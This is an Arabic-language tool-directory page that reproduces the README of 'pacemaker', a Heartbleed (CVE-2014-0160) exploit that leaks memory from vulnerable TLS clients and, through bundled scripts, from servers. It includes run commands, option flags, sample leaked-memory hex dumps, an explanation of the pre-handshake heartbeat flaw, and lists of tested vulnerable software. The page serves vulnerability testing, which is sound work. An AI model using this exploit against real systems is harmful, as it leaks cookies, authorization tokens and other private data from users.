Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pacemaker — Heartbleed (CVE-2014-0160) استغلال العميل | Kitploit
أدوات/GitHubGitHub/lekensteyn/pacemaker
تحليل الثغرات الأمنيةالاستغلالأمن الويبأمن الشبكاتالتشفيراختبار الاختراق
GitHublekensteyn/pacemaker

pacemaker

Heartbleed (CVE-2014-0160) استغلال العميل

عرض المستودع
33079منذ 10 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Pacemaker

يحاول استغلال العملاء المعرّضين لثغرة Heartbleed (CVE-2014-0160). متوافق مع Python 2 و 3.

هل أنا معرّض للخطر؟

شغّل الخادم:

root@kitploit:~
python pacemaker.py

في عميلك، افتح https://localhost:4433/ (استبدل اسم المضيف إذا لزم الأمر). على سبيل المثال:

root@kitploit:~
curl https://localhost:4433/

سيفشل العميل دائمًا في الاتصال:

root@kitploit:~
curl: (35) Unknown SSL protocol error in connection to localhost:4433

إذا لم تكن معرّضًا للخطر، سيُخرج الخادم شيئًا مثل:

root@kitploit:~
Connection from: 127.0.0.1:40736
Possibly not vulnerable

أما إذا كنت معرّضًا للخطر، فسترى شيئًا مثل:

root@kitploit:~
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00  ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00  .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42  ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00  ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00     ...............

الأسطر اللاحقة الممتلئة ببايتات NUL تُدمج في سطر واحد يظهر فيه * بدلًا منها (كما في أداة xxd).

مثال تتسرّب فيه ذاكرة أكثر «إثارة للاهتمام» باستخدام wget -O /dev/null https://google.com https://localhost:4433:

root@kitploit:~
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86  [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05  ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00  ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74  ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c  -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d  ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f  .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d  www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73  /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01  itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12  ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2  .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d  ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f  ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38  ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5  ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f  ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1  {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00  ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00  ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36  ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32  46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00     00_B//.........

كيف يعمل؟

يمكن لأي من طرفي اتصال TLS إرسال نبضات TLS. بعد اكتمال المصافحة، تكون هذه النبضات مشفّرة. لكن يبدو أن OpenSSL يسمح برسائل نبض قبل اكتمال المصافحة. هذه النبضات (فوق طبقة السجلات) غير مشفّرة إطلاقًا!

هذا يجعل استغلال الثغرة على العملاء أمرًا سهلاً للغاية:

  1. انتظر وصول ClientHello يتضمّن إصدار TLS وحزمة تشفير (cipher suite).
  2. أرسل ServerHello يتضمّن نفس إصدار TLS وحزمة التشفير (لمنع فشل المصافحة).
  3. عند هذه النقطة، يمكن للخادم إرسال أي عدد يشاء من طلبات النبض.

لاحظ أنّه لا حاجة إلى أيّ شهادات، إذ يتم قبول النبضات قبل تبادل أي شهادات أو مفاتيح تشفير. وبما أن طول طلبات النبض لا يُفحص، يمكن قراءة ما يصل إلى 64 kiB من ذاكرة العميل.

يقوم pacemaker بتنفيذ الخطوات أعلاه ويفترض أنّ العميل غير معرّض للخطر إذا أسفرت الخطوة 3 عن بيانات غير رسائل التنبيه (Alerts). إذا لزم الأمر لبعض البروتوكولات (مثل SMTP مع STARTTLS)، يتم تبادل بيانات إضافية قبل بدء مصافحة TLS.

الاستخدام المتقدم

شغّل ./pacemaker.py -h لمزيد من الخيارات. من الأرجح أنّ أهم الخيارات هي -t (--timeout) و-x (--count). مهلة الانتظار الافتراضية هي 3 ثوانٍ، وهو ما ينبغي أن يكفي لاستجابة معظم العملاء (إلا إذا كان هناك رابط قمر صناعي أو ما شابه).

مثال لتكون أكثر انتظارًا لكل نبضة (5 ثوانٍ) والحصول على أربع استجابات نبض:

root@kitploit:~
./pacemaker.py -t 5 -x 4

نظريًا، قد تستغرق النبضات الآن عشرين ثانية، لكنك عمليًا ستحصل على استجابات أسرع بكثير.

العملاء المختبرون

اختُبر العملاء التاليون باستخدام OpenSSL 1.0.1f على Arch Linux وتسربت ذاكرتهم قبل المصافحة:

  • MariaDB 5.5.36
  • wget 1.15 (يسرّب ذاكرة الاتصالات السابقة وحالته الخاصة)
  • curl 7.36.0 (https، FTP/IMAP/POP3/SMTP مع --ftp-ssl)
  • git 1.9.1 (اختُبر في clone / push، لا يسرّب كثيرًا)
  • nginx 1.4.7 (في وضع الوكيل، يسرّب ذاكرة الطلبات السابقة)
  • links 2.8 (يسرّب محتويات الزيارات السابقة!)
  • KDE 4.12.4 (kioclient، Dolphin، اختُبر https و ftps مع kde4-ftps-kio)
  • Exim 4.82 (SMTP الصادر)

links مثال رائع يوضح تأثير هذه الثغرة على العملاء. إنه متصفح نصي يسرّب تفاصيل تشمل الترويسات (الكوكيز، ورموز التفويض) ومحتويات الصفحات.

الترخيص

pacemaker مرخّص بموجب رخصة MIT. راجع ملف LICENSE لمزيد من التفاصيل.

heartbleed.py

هذا تنفيذ يستخدم pacemaker لصياغة الحزم. له قيدٌ مفاده أنّ الطلبات المتكررة تحتاج إلى إنشاء اتصال جديد لكل محاولة، لأن الخادم يعيد ضبط الاتصال فورًا بعد أول استجابة نبض.

هذا القيد ناتج عن النهج المتبع؛ فإذا كان العميل يُكمل المصافحة أيضًا، يمكن إرسال العديد من المصافحات المشفّرة دون فشل الاتصال.

heartbleed.py جزء من pacemaker، لذلك يخضع لشروط الترخيص نفسها.

الخوادم المختبرة

اختُبرت الخوادم التالية باستخدام OpenSSL 1.0.1f على Arch Linux (ما لم يُذكر خلاف ذلك):

  • openssl s_server (HTTPS)
  • nginx 1.4.7 (HTTPS)
  • Dovecot 2.2.11 (IMAP / POP3)
  • proftpd 1.3.4a-5+deb7u1 (FTP الصريح)
  • Exim 4.82 (SMTP)

ssltest.py

يحتوي هذا المستودع أيضًا على نسخة عاملة تستهدف الخوادم. ssltest.py من إنشاء Jared Stafford ([email protected])، وكل الفضل يعود إليه! تم استرجاعه من http://s3.jspenguin.org/ssltest.py.

في الوقت الحالي، البرنامج النصي متوافق فقط مع Python 2.

تنزيل الأداة